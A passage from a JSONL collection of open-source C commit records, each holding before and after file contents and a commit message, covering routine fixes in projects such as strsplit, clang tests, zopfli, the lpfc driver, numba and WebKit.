-project\/blink-crosswalk-efl,modulexcite\/blink,jtg-gg\/blink,nwjs\/blink,jtg-gg\/blink,XiaosongWei\/blink-crosswalk,nwjs\/blink,Bysmyyr\/blink-crosswalk,hgl888\/blink-crosswalk-efl,smishenk\/blink-crosswalk,Pluto-tv\/blink-crosswalk,nwjs\/blink,modulexcite\/blink,jtg-gg\/blink,nwjs\/blink,Bysmyyr\/blink-crosswalk,ondra-novak\/blink,modulexcite\/blink,PeterWangIntel\/blink-crosswalk,XiaosongWei\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,Pluto-tv\/blink-crosswalk,hgl888\/blink-crosswalk-efl,kurli\/blink-crosswalk,hgl888\/blink-crosswalk-efl,Bysmyyr\/blink-crosswalk,Bysmyyr\/blink-crosswalk,ondra-novak\/blink,nwjs\/blink,PeterWangIntel\/blink-crosswalk,kurli\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,ondra-novak\/blink,crosswalk-project\/blink-crosswalk-efl,hgl888\/blink-crosswalk-efl,kurli\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,kurli\/blink-crosswalk,smishenk\/blink-crosswalk,XiaosongWei\/blink-crosswalk,nwjs\/blink,Pluto-tv\/blink-crosswalk,Bysmyyr\/blink-crosswalk,XiaosongWei\/blink-crosswalk"}
{"commit":"e6bba5feec294deb762bba5b53f6b0440ff81cd7","old_file":"strsplit.h","new_file":"strsplit.h","old_contents":"\n#ifndef __STR_SPLIT_H__\n#define __STR_SPLIT_H__ 1\n\n#include <stdlib.h>\n#include <string.h>\n\nint\nstrsplit (char *str, char *parts[], char *delimiter) {\n  char *pch;\n  int i = 0;\n  pch = strtok(str, delimiter);\n\n  parts[i++] = strdup(pch);\n\n  while (pch) {\n    pch = strtok(NULL, delimiter);\n    if (NULL == pch) break;\n    parts[i++] = strdup(pch);\n  }\n\n  free(pch);\n  return i;\n}\n\n\n#endif\n","new_contents":"\n#ifndef __STR_SPLIT_H__\n#define __STR_SPLIT_H__ 1\n\n#include <stdlib.h>\n#include <string.h>\n\nint\nstrsplit (char *str, char *parts[], char *delimiter) {\n  char *pch;\n  int i = 0;\n  char *tmp = strdup(str);\n  pch = strtok(tmp, delimiter);\n\n  parts[i++] = strdup(pch);\n\n  while (pch) {\n    pch = strtok(NULL, delimiter);\n    if (NULL == pch) break;\n    parts[i++] = strdup(pch);\n  }\n\n  free(tmp);\n  free(pch);\n  return i;\n}\n\n\n#endif\n","subject":"Fix bad results when compiling with Apple’s LLVM 5","message":"Fix bad results when compiling with Apple’s LLVM 5\n","lang":"C","license":"mit","repos":"jwerle\/strsplit.c"}
{"commit":"ae49b56c52847aadda7be62071dcb33b5c22e6eb","old_file":"Test\/src\/minunit.h","new_file":"Test\/src\/minunit.h","old_contents":"\/*\n * minunit.h\n *\n * Source: http:\/\/www.jera.com\/techinfo\/jtns\/jtn002.html\n *\/\n\n#include <stdio.h>\n\nextern int tests_run;\n\n#define mu_assert(message, test) do { \\\n\tif (!(test)) { \\\n\t\treturn message; \\\n\t} \\\n} while (0)\n\n#define mu_run_test(test, name) do { \\\n\ttest_head(name); \\\n\tchar const * message = test(); \\\n\ttests_run++; \\\n\tif (message) { \\\n\t\ttest_failure; \\\n\t\tprintf(\" * %s\\n\", message); \\\n\t} else { \\\n\t\ttest_success; \\\n\t} \\\n} while (0)\n\n#define test_head(name) printf(\"Test %s... \", name)\n#define test_success printf(\"[OK]\\n\")\n#define test_failure printf(\"[FAIL]\\n\")","new_contents":"\/*\n * minunit.h\n *\n * Source: http:\/\/www.jera.com\/techinfo\/jtns\/jtn002.html\n *\/\n\n#include <stdio.h>\n\nextern int tests_run;\n\n#define mu_assert(message, test) do { \\\n\tif (!(test)) { \\\n\t\treturn message; \\\n\t} \\\n} while (0)\n\n#define mu_run_test(test, name) do { \\\n\tprintf(\"Test %s... \", name); \\\n\tchar const * message = test(); \\\n\ttests_run++; \\\n\tif (message) { \\\n\t\tif (message[0] != '\\0') { \\\n\t\t\tprintf(\"[FAIL]\\n * %s\\n\", message); \\\n\t\t} else { \\\n\t\t\tprintf(\"[OK]\\n\"); \\\n\t\t} \\\n\t} else { \\\n\t\tprintf(\"\\n\"); \\\n\t} \\\n} while (0)\n","subject":"Remove useless unit testing definitions.","message":"Remove useless unit testing definitions.\n","lang":"C","license":"mit","repos":"AymericGenet\/SPHINCS-arduinodue,AymericGenet\/SPHINCS-arduinodue,AymericGenet\/SPHINCS-arduinodue"}
{"commit":"bd339f71c7a5a3e2b883f4306689c8bc39077895","old_file":"test\/CodeGen\/ext-vector-shuffle.c","new_file":"test\/CodeGen\/ext-vector-shuffle.c","old_contents":"\/\/ RUN: clang-cc %s -emit-llvm -o - | not grep 'extractelement' &&\n\/\/ RUN: clang-cc %s -emit-llvm -o - | not grep 'insertelement' &&\n\/\/ RUN: clang-cc %s -emit-llvm -o - | grep 'shufflevector'\n\ntypedef __attribute__(( ext_vector_type(2) )) float float2;\ntypedef __attribute__(( ext_vector_type(4) )) float float4;\n\nfloat2 test1(float4 V) {\n  return V.xy + V.wz;\n}\n\nfloat4 test2(float4 V) {\n  float2 W = V.ww;\n  return W.xyxy + W.yxyx;\n}\n","new_contents":"\/\/ RUN: clang-cc %s -x cl -emit-llvm -o - | not grep 'extractelement' &&\n\/\/ RUN: clang-cc %s -x cl -emit-llvm -o - | not grep 'insertelement' &&\n\/\/ RUN: clang-cc %s -x cl -emit-llvm -o - | grep 'shufflevector'\n\ntypedef __attribute__(( ext_vector_type(2) )) float float2;\ntypedef __attribute__(( ext_vector_type(4) )) float float4;\n\nfloat2 test1(float4 V) {\n  return V.xy + V.wz;\n}\n\nfloat4 test2(float4 V) {\n  float2 W = V.ww;\n  return W.xyxy + W.yxyx;\n}\n\nfloat4 test3(float4 V1, float4 V2) { return (float4)(V1.zw, V2.xy); }\n","subject":"Add test for OpenCL vector initializer codegen","message":"Add test for OpenCL vector initializer codegen\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@84445 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"93121c92ab02651020f862d5ccc94d63bc3dda00","old_file":"src\/zopfli\/hash.c","new_file":"src\/zopfli\/hash.c","old_contents":"\/*\nCopyright 2011 Google Inc. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\nAuthor: lode.vandevenne@gmail.com (Lode Vandevenne)\nAuthor: jyrki.alakuijala@gmail.com (Jyrki Alakuijala)\n*\/\n\n#include \"hash.h\"\n\n#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#define HASH_SHIFT 5\n#define HASH_MASK 32767\n\n\nextern ZopfliHash* ZopfliInitHash(size_t window_size);\nextern void ZopfliResetHash(size_t window_size, ZopfliHash* h);\nextern void ZopfliCleanHash(ZopfliHash* h);\nextern void ZopfliUpdateHash(const unsigned char* array, size_t pos, size_t end, ZopfliHash* h);\nextern void ZopfliWarmupHash(const unsigned char* array, size_t pos, size_t end, ZopfliHash* h);\n","new_contents":"\/*\nCopyright 2011 Google Inc. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\nAuthor: lode.vandevenne@gmail.com (Lode Vandevenne)\nAuthor: jyrki.alakuijala@gmail.com (Jyrki Alakuijala)\n*\/\n\n#include \"hash.h\"\n\n#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#define HASH_SHIFT 5\n#define HASH_MASK 32767\n\nextern ZopfliHash* ZopfliInitHash(size_t window_size);\nextern void ZopfliResetHash(size_t window_size, ZopfliHash* h);\nextern void ZopfliCleanHash(ZopfliHash* h);\nextern void ZopfliUpdateHash(const unsigned char* array, size_t pos, size_t end, ZopfliHash* h);\nextern void ZopfliWarmupHash(const unsigned char* array, size_t pos, size_t end, ZopfliHash* h);\n","subject":"Remove a temporary fn that never got used","message":"Remove a temporary fn that never got used\n","lang":"C","license":"apache-2.0","repos":"carols10cents\/zopfli,carols10cents\/zopfli"}
{"commit":"e1399dfc55b246db94616bb0052c565a45300710","old_file":"tests\/escape\/proper-escapes\/local-phi-to-global-field.c","new_file":"tests\/escape\/proper-escapes\/local-phi-to-global-field.c","old_contents":"struct S {\n  int *x;\n  int *y;\n};\n\nstruct S s;\nvoid addrOfEscape2(int * i1, int * i2, int x) {\n  int * p = i2;\n  if(x > 10)\n    p = i1;\n\n  s.y = p;\n}\n","new_contents":"struct S {\n  int *x;\n  int *y;\n};\n\nstruct S *s;\nvoid addrOfEscape2(int * i1, int * i2, int x) {\n  int * p = i2;\n  if(x > 10)\n    p = i1;\n\n  s->y = p;\n}\n","subject":"Modify a test to avoid constant GEPs","message":"Modify a test to avoid constant GEPs\n","lang":"C","license":"bsd-3-clause","repos":"travitch\/foreign-inference,travitch\/foreign-inference"}
{"commit":"eb66fff7d94199f80378bc0b51a06e62ce379b53","old_file":"drivers\/scsi\/lpfc\/lpfc_version.h","new_file":"drivers\/scsi\/lpfc\/lpfc_version.h","old_contents":"\/*******************************************************************\n * This file is part of the Emulex Linux Device Driver for         *\n * Fibre Channel Host Bus Adapters.                                *\n * Copyright (C) 2004-2005 Emulex.  All rights reserved.           *\n * EMULEX and SLI are trademarks of Emulex.                        *\n * www.emulex.com                                                  *\n *                                                                 *\n * This program is free software; you can redistribute it and\/or   *\n * modify it under the terms of version 2 of the GNU General       *\n * Public License as published by the Free Software Foundation.    *\n * This program is distributed in the hope that it will be useful. *\n * ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND          *\n * WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY,  *\n * FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT, ARE      *\n * DISCLAIMED, EXCEPT TO THE EXTENT THAT SUCH DISCLAIMERS ARE HELD *\n * TO BE LEGALLY INVALID.  See the GNU General Public License for  *\n * more details, a copy of which can be found in the file COPYING  *\n * included with this package.                                     *\n *******************************************************************\/\n\n#define LPFC_DRIVER_VERSION \"8.0.30\"\n\n#define LPFC_DRIVER_NAME \"lpfc\"\n\n#define LPFC_MODULE_DESC \"Emulex LightPulse Fibre Channel SCSI driver \" \\\n\t\tLPFC_DRIVER_VERSION\n#define LPFC_COPYRIGHT \"Copyright(c) 2004-2005 Emulex.  All rights reserved.\"\n\n#define DFC_API_VERSION \"0.0.0\"\n","new_contents":"\/*******************************************************************\n * This file is part of the Emulex Linux Device Driver for         *\n * Fibre Channel Host Bus Adapters.                                *\n * Copyright (C) 2004-2005 Emulex.  All rights reserved.           *\n * EMULEX and SLI are trademarks of Emulex.                        *\n * www.emulex.com                                                  *\n *                                                                 *\n * This program is free software; you can redistribute it and\/or   *\n * modify it under the terms of version 2 of the GNU General       *\n * Public License as published by the Free Software Foundation.    *\n * This program is distributed in the hope that it will be useful. *\n * ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND          *\n * WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY,  *\n * FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT, ARE      *\n * DISCLAIMED, EXCEPT TO THE EXTENT THAT SUCH DISCLAIMERS ARE HELD *\n * TO BE LEGALLY INVALID.  See the GNU General Public License for  *\n * more details, a copy of which can be found in the file COPYING  *\n * included with this package.                                     *\n *******************************************************************\/\n\n#define LPFC_DRIVER_VERSION \"8.1.0\"\n\n#define LPFC_DRIVER_NAME \"lpfc\"\n\n#define LPFC_MODULE_DESC \"Emulex LightPulse Fibre Channel SCSI driver \" \\\n\t\tLPFC_DRIVER_VERSION\n#define LPFC_COPYRIGHT \"Copyright(c) 2004-2005 Emulex.  All rights reserved.\"\n\n#define DFC_API_VERSION \"0.0.0\"\n","subject":"Change version number to 8.1.0","message":"[SCSI] lpfc: Change version number to 8.1.0\n\nSigned-off-by: James Smart <662b34f26b29c45c7ee4f84b6fca46f06a668477@emulex.com>\nSigned-off-by: James Bottomley <407b36959ca09543ccda8f8e06721c791bc53435@SteelEye.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"54f611f3c5f8c89b8556fe347525a1dfea222095","old_file":"src\/modules\/conf_randr\/e_smart_monitor.h","new_file":"src\/modules\/conf_randr\/e_smart_monitor.h","old_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_MONITOR_H\n#  define E_SMART_MONITOR_H\n\nEvas_Object *e_smart_monitor_add(Evas *evas);\nvoid e_smart_monitor_crtc_set(Evas_Object *obj, Ecore_X_Randr_Crtc crtc, Evas_Coord cx, Evas_Coord cy, Evas_Coord cw, Evas_Coord ch);\nvoid e_smart_monitor_output_set(Evas_Object *obj, Ecore_X_Randr_Output output);\nvoid e_smart_monitor_grid_set(Evas_Object *obj, Evas_Object *grid, Evas_Coord gx, Evas_Coord gy, Evas_Coord gw, Evas_Coord gh);\nvoid e_smart_monitor_grid_virtual_size_set(Evas_Object *obj, Evas_Coord vw, Evas_Coord vh);\nvoid e_smart_monitor_background_set(Evas_Object *obj, Evas_Coord dx, Evas_Coord dy);\nvoid e_smart_monitor_current_geometry_set(Evas_Object *obj, Evas_Coord x, Evas_Coord y, Evas_Coord w, Evas_Coord h);\n\n# endif\n#endif\n","new_contents":"#ifdef E_TYPEDEFS\n#else\n# ifndef E_SMART_MONITOR_H\n#  define E_SMART_MONITOR_H\n\nEvas_Object *e_smart_monitor_add(Evas *evas);\nvoid e_smart_monitor_crtc_set(Evas_Object *obj, Ecore_X_Randr_Crtc crtc, Evas_Coord cx, Evas_Coord cy, Evas_Coord cw, Evas_Coord ch);\nEcore_X_Randr_Crtc e_smart_monitor_crtc_get(Evas_Object *obj);\nvoid e_smart_monitor_output_set(Evas_Object *obj, Ecore_X_Randr_Output output);\nvoid e_smart_monitor_grid_set(Evas_Object *obj, Evas_Object *grid, Evas_Coord gx, Evas_Coord gy, Evas_Coord gw, Evas_Coord gh);\nvoid e_smart_monitor_grid_virtual_size_set(Evas_Object *obj, Evas_Coord vw, Evas_Coord vh);\nvoid e_smart_monitor_background_set(Evas_Object *obj, Evas_Coord dx, Evas_Coord dy);\nvoid e_smart_monitor_current_geometry_set(Evas_Object *obj, Evas_Coord x, Evas_Coord y, Evas_Coord w, Evas_Coord h);\nvoid e_smart_monitor_clone_set(Evas_Object *obj, Evas_Object *parent);\n\n# endif\n#endif\n","subject":"Add function prototype for monitor clone set.","message":"Add function prototype for monitor clone set.\n\nSigned-off-by: Christopher Michael <cp.michael@samsung.com>\n\nSVN revision: 84208\n","lang":"C","license":"bsd-2-clause","repos":"tizenorg\/platform.upstream.enlightenment,FlorentRevest\/Enlightenment,rvandegrift\/e,FlorentRevest\/Enlightenment,tasn\/enlightenment,FlorentRevest\/Enlightenment,tasn\/enlightenment,rvandegrift\/e,rvandegrift\/e,tizenorg\/platform.upstream.enlightenment,tizenorg\/platform.upstream.enlightenment,tasn\/enlightenment"}
{"commit":"eb0fa7bf4c9d8d24ee597e8777fee446ac55c35b","old_file":"numba\/npyufunc\/gufunc_scheduler.h","new_file":"numba\/npyufunc\/gufunc_scheduler.h","old_contents":"#ifndef GUFUNC_SCHEDULER\n#define GUFUNC_SCHEDULER\n\n#include <stdint.h>\n\n#ifndef __SIZEOF_POINTER__\n    \/* MSVC doesn't define __SIZEOF_POINTER__ *\/\n    #if   defined(_WIN64)\n        #define intp int64_t\n        #define uintp uint64_t\n    #elif defined(_WIN32)\n        #define intp int\n        #define uintp unsigned\n    #else\n        #error \"cannot determine size of intp\"\n    #endif\n#elif __SIZEOF_POINTER__ == 8\n    #define intp int64_t\n    #define uintp uint64_t\n#else\n    #define intp int\n    #define uintp unsigned\n#endif\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nvoid do_scheduling(intp num_dim, intp *dims, uintp num_threads, intp *sched, intp debug);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"#ifndef GUFUNC_SCHEDULER\n#define GUFUNC_SCHEDULER\n\n\/* define int64_t and uint64_t for VC9 *\/\n#ifdef _MSC_VER\n    #define int64_t signed __int64\n    #define uint64_t unsigned __int64\n#else\n    #include <stdint.h>\n#endif\n\n#ifndef __SIZEOF_POINTER__\n    \/* MSVC doesn't define __SIZEOF_POINTER__ *\/\n    #if defined(_WIN64)\n        #define intp int64_t\n        #define uintp uint64_t\n    #elif defined(_WIN32)\n        #define intp int\n        #define uintp unsigned\n    #else\n        #error \"cannot determine size of intp\"\n    #endif\n#elif __SIZEOF_POINTER__ == 8\n    #define intp int64_t\n    #define uintp uint64_t\n#else\n    #define intp int\n    #define uintp unsigned\n#endif\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nvoid do_scheduling(intp num_dim, intp *dims, uintp num_threads, intp *sched, intp debug);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Fix missing stdint.h on py2.7 vc9","message":"Fix missing stdint.h on py2.7 vc9\n","lang":"C","license":"bsd-2-clause","repos":"stonebig\/numba,numba\/numba,cpcloud\/numba,cpcloud\/numba,stuartarchibald\/numba,gmarkall\/numba,seibert\/numba,sklam\/numba,seibert\/numba,sklam\/numba,stuartarchibald\/numba,jriehl\/numba,seibert\/numba,jriehl\/numba,gmarkall\/numba,sklam\/numba,IntelLabs\/numba,stuartarchibald\/numba,stonebig\/numba,numba\/numba,numba\/numba,gmarkall\/numba,stuartarchibald\/numba,seibert\/numba,sklam\/numba,gmarkall\/numba,stonebig\/numba,cpcloud\/numba,stonebig\/numba,gmarkall\/numba,numba\/numba,cpcloud\/numba,jriehl\/numba,stonebig\/numba,sklam\/numba,IntelLabs\/numba,IntelLabs\/numba,seibert\/numba,cpcloud\/numba,numba\/numba,IntelLabs\/numba,jriehl\/numba,jriehl\/numba,IntelLabs\/numba,stuartarchibald\/numba"}
{"commit":"9f07c8bcc8f4596d39b31f3515b54c5405f663da","old_file":"JavaScriptCore\/wtf\/unicode\/Unicode.h","new_file":"JavaScriptCore\/wtf\/unicode\/Unicode.h","old_contents":"\/\/ -*- c-basic-offset: 2 -*-\n\/*\n *  This file is part of the KDE libraries\n *  Copyright (C) 2006 George Staikos <staikos@kde.org>\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Library General Public\n *  License as published by the Free Software Foundation; either\n *  version 2 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Library General Public License for more details.\n *\n *  You should have received a copy of the GNU Library General Public License\n *  along with this library; see the file COPYING.LIB.  If not, write to\n *  the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n *  Boston, MA 02110-1301, USA.\n *\n *\/\n\n#ifndef KJS_UNICODE_H\n#define KJS_UNICODE_H\n\n#include <wtf\/Platform.h>\n\n#if USE(QT4_UNICODE)\n#include \"qt4\/UnicodeQt4.h\"\n#elif USE(ICU_UNICODE)\n#include <wtf\/icu\/UnicodeIcu.h>\n#else\n#error \"Unknown Unicode implementation\"\n#endif\n\n#endif\n\/\/ vim: ts=2 sw=2 et\n","new_contents":"\/\/ -*- c-basic-offset: 2 -*-\n\/*\n *  This file is part of the KDE libraries\n *  Copyright (C) 2006 George Staikos <staikos@kde.org>\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Library General Public\n *  License as published by the Free Software Foundation; either\n *  version 2 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Library General Public License for more details.\n *\n *  You should have received a copy of the GNU Library General Public License\n *  along with this library; see the file COPYING.LIB.  If not, write to\n *  the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n *  Boston, MA 02110-1301, USA.\n *\n *\/\n\n#ifndef KJS_UNICODE_H\n#define KJS_UNICODE_H\n\n#include <wtf\/Platform.h>\n\n#if USE(QT4_UNICODE)\n#include \"qt4\/UnicodeQt4.h\"\n#elif USE(ICU_UNICODE)\n#include <wtf\/unicode\/icu\/UnicodeIcu.h>\n#else\n#error \"Unknown Unicode implementation\"\n#endif\n\n#endif\n\/\/ vim: ts=2 sw=2 et\n","subject":"Fix mac bustage (more still).","message":"Fix mac bustage (more still).\n\ngit-svn-id: bf5cd6ccde378db821296732a091cfbcf5285fbd@18103 bbb929c8-8fbe-4397-9dbb-9b2b20218538","lang":"C","license":"bsd-3-clause","repos":"Bysmyyr\/blink-crosswalk,smishenk\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,hgl888\/blink-crosswalk-efl,nwjs\/blink,smishenk\/blink-crosswalk,Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,modulexcite\/blink,kurli\/blink-crosswalk,kurli\/blink-crosswalk,Bysmyyr\/blink-crosswalk,kurli\/blink-crosswalk,Pluto-tv\/blink-crosswalk,nwjs\/blink,hgl888\/blink-crosswalk-efl,smishenk\/blink-crosswalk,kurli\/blink-crosswalk,Pluto-tv\/blink-crosswalk,nwjs\/blink,ondra-novak\/blink,nwjs\/blink,crosswalk-project\/blink-crosswalk-efl,XiaosongWei\/blink-crosswalk,jtg-gg\/blink,smishenk\/blink-crosswalk,Bysmyyr\/blink-crosswalk,ondra-novak\/blink,modulexcite\/blink,PeterWangIntel\/blink-crosswalk,Bysmyyr\/blink-crosswalk,nwjs\/blink,Pluto-tv\/blink-crosswalk,Bysmyyr\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,smishenk\/blink-crosswalk,ondra-novak\/blink,PeterWangIntel\/blink-crosswalk,nwjs\/blink,ondra-novak\/blink,crosswalk-project\/blink-crosswalk-efl,hgl888\/blink-crosswalk-efl,Pluto-tv\/blink-crosswalk,hgl888\/blink-crosswalk-efl,modulexcite\/blink,XiaosongWei\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,ondra-novak\/blink,PeterWangIntel\/blink-crosswalk,Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,Pluto-tv\/blink-crosswalk,kurli\/blink-crosswalk,jtg-gg\/blink,modulexcite\/blink,PeterWangIntel\/blink-crosswalk,Bysmyyr\/blink-crosswalk,hgl888\/blink-crosswalk-efl,PeterWangIntel\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,XiaosongWei\/blink-crosswalk,jtg-gg\/blink,crosswalk-project\/blink-crosswalk-efl,ondra-novak\/blink,Pluto-tv\/blink-crosswalk,jtg-gg\/blink,modulexcite\/blink,kurli\/blink-crosswalk,hgl888\/blink-crosswalk-efl,modulexcite\/blink,kurli\/blink-crosswalk,smishenk\/blink-crosswalk,XiaosongWei\/blink-crosswalk,nwjs\/blink,jtg-gg\/blink,nwjs\/blink,ondra-novak\/blink,PeterWangIntel\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,Pluto-tv\/blink-crosswalk,kurli\/blink-crosswalk,Bysmyyr\/blink-crosswalk,modulexcite\/blink,smishenk\/blink-crosswalk,smishenk\/blink-crosswalk,hgl888\/blink-crosswalk-efl,smishenk\/blink-crosswalk,crosswalk-project\/blink-crosswalk-efl,Bysmyyr\/blink-crosswalk,jtg-gg\/blink,crosswalk-project\/blink-crosswalk-efl,crosswalk-project\/blink-crosswalk-efl,hgl888\/blink-crosswalk-efl,Bysmyyr\/blink-crosswalk,XiaosongWei\/blink-crosswalk,modulexcite\/blink,XiaosongWei\/blink-crosswalk,jtg-gg\/blink,jtg-gg\/blink,Pluto-tv\/blink-crosswalk,hgl888\/blink-crosswalk-efl,modulexcite\/blink,kurli\/blink-crosswalk,XiaosongWei\/blink-crosswalk,modulexcite\/blink,XiaosongWei\/blink-crosswalk,ondra-novak\/blink,jtg-gg\/blink,kurli\/blink-crosswalk,nwjs\/blink,smishenk\/blink-crosswalk,nwjs\/blink,crosswalk-project\/blink-crosswalk-efl,hgl888\/blink-crosswalk-efl,jtg-gg\/blink,ondra-novak\/blink,Bysmyyr\/blink-crosswalk"}
{"commit":"4acd77d97344c93a8fc59567f19ef2b213203bea","old_file":"test_gcrypt_ecc.c","new_file":"test_gcrypt_ecc.c","old_contents":"","new_contents":"\n#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <gcrypt.h>\n#include <glib.h>\n\n#define DEFAULT_DATA \"This message will be signed\\n\"\n#define DEFAULT_SIG \"$HPI?t(I*1vAYsl$|%21WXND=6Br*[>k(OR9B!GOwHqL0s+3Uq\"\n\n\nvoid __init()\n{\n\tgcry_error_t err;\n\terr = gcry_control(GCRYCTL_INIT_SECMEM, 1);\n\tif (gcry_err_code(err))\n\t\tfprintf(stderr, \"Cannot enable libgcrypt's secure memory management\\n\");\n\tgcry_control(GCRYCTL_ENABLE_QUICK_RANDOM, 0);\n  gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0);\n}\n\nvoid __test_keygen()\n{\n\t__init();\n\tgcry_error_t err;\n\t\n\tgcry_sexp_t spec, key_pair, list;\n\tgcry_mpi_t pub;\n\n\terr = gcry_sexp_build(&spec, NULL, \"(genkey (ECDSA (nbits %d)))\", 256);\n\tif (err) {\n\t\tfprintf(stderr, \"gcry_sexp_new() failed with: %s\\n\", gcry_strerror(err));\n\t\tabort();\n\t}\n\n\terr = gcry_pk_genkey(&key_pair, spec);\n\tif (err) {\n\t\tfprintf(stderr, \"gcry_pk_genkey() failed with: %s\\n\", gcry_strerror(err));\n\t\tabort();\n\t}\n\n\tlist = gcry_sexp_find_token(key_pair, \"q\", 1);\n\tpub = gcry_sexp_nth_mpi (list, 1, GCRYMPI_FMT_USG);\n\tgcry_sexp_release (list);\n\tgcry_sexp_release (key_pair);\n\tgcry_sexp_release (spec);\n\n\tunsigned char *pubkey;\n\tsize_t publen, privlen;\n\tgcry_mpi_aprint(GCRYMPI_FMT_HEX, &pubkey, &publen, pub);\n\tfprintf(stderr, \"PUB: (%d) %s %p\\n\", (int)publen, pubkey, pubkey);\n}\n\nint main(int argc, char **argv)\n{\n\tg_test_init(&argc, &argv, NULL);\n\n\tg_test_add_func(\"\/test\/ecc_keygen\", __test_keygen);\n\n\treturn g_test_run();\n}\n","subject":"Add a libgcrypt-ecc test strut","message":"Add a libgcrypt-ecc test strut\n","lang":"C","license":"lgpl-2.1","repos":"rtyler\/PyECC,slideinc\/PyECC,rtyler\/PyECC,slideinc\/PyECC"}
{"commit":"b9ecedf51225867a3060d4de155186855c7de6b7","old_file":"kernel\/x86\/apic_timer.c","new_file":"kernel\/x86\/apic_timer.c","old_contents":"#include <kernel\/x86\/apic.h>\n#include <kernel\/port\/mmio.h>\n\nvoid apic_timer_init(uint8_t int_no, uint8_t divisor, uint8_t mode) {\n\n\t\/** set the divisor: **\/\n\n\tuint32_t reg = get32(DIVIDE_CONF);\n\treg &= ~0xf;\n\t\/* The representation of the divisor in the divide configuration\n\t * register is... weird. We're normalizing it a bit here; it's split up\n\t * within the register, and for some reason 7 is divide by 1, where as\n\t * the rest are a perfect 2^(n-1). See the intel manual for the\n\t * details. *\/\n\tif (divisor == 0) divisor  = 7;\n\telse              divisor -= 1;\n\treg |= (divisor & 0x3) | ((divisor & 0x4)<<1);\n\tput32(DIVIDE_CONF, reg);\n\n\t\/** set the lvt entry: **\/\n\tLVTEnt lvt_ent;\n\tlvt_ent.raw = get32(LVT_TIMER);\n\tlvt_ent.v.timer_mode = mode;\n\tlvt_ent.v.vector = int_no;\n\tlvt_ent.v.masked = 0;\n\tput32(LVT_TIMER, lvt_ent.raw);\n\n}\n\nvoid apic_timer_set(uint32_t value) {\n\tput32(INITIAL_COUNT, value);\n}\n","new_contents":"#include <kernel\/x86\/apic.h>\n#include <kernel\/port\/mmio.h>\n\nvoid apic_timer_init(uint8_t int_no, uint8_t divisor, uint8_t mode) {\n\n\t\/** set the divisor: **\/\n\n\tuint32_t reg = get32(DIVIDE_CONF);\n\treg &= ~0xf;\n\t\/* The representation of the divisor in the divide configuration\n\t * register is... weird. We're normalizing it a bit here; it's split up\n\t * within 